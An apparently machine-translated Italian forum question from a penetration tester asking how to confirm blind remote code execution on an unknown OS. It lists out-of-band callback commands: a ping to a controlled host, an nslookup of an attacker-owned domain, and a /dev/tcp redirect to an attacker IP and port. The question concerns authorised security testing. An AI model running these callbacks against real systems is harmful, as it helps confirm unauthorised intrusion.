Supponiamo che la seguente situazione: stai facendo un pentest black-box. Hai scoperto che il cliente esegue il software X e X ha una vulnerabilità legata all'esecuzione di codice in modalità remota, ma la natura di questa esecuzione del codice è che stderr e stdout non possono essere rinviati all'attaccante. In questo senso, l'esecuzione funziona ma non vedrai mai l'output dei comandi che esegui.
Per rendere le cose ancora più difficili, supponiamo che tu non possa conoscere il sistema operativo (e il software X funziona su tutte le principali piattaforme).
Che cosa puoi fare per verificare se l'esecuzione del codice funziona effettivamente? Ho trovato 2 modi per farlo, almeno in teoria.
- Esegui un
ping <some IP>
dove si trova una casella sotto il tuo controllo. Dovresti modificare il livello di rete di quella casella in modo da poter rilevare un ping in arrivo dalla macchina della vittima di destinazione. - Esegui un
nslookup somename.yourdomain.com
sei il proprietario di tuodominio.com. Anche in questo caso, il server DNS è configurato in modo tale da essere avvisato quando arriva una richiesta DNS persomename.yourdomain.com
. - Su linux / unix posso provare
echo sth > /dev/tcp/<myip>/<port>
, sperando che > il personaggio non è disinfettato da qualche parte lungo la strada. E questo non funziona su Windows.
La mia domanda è: ci sono modi più semplici per raggiungere lo stesso obiettivo?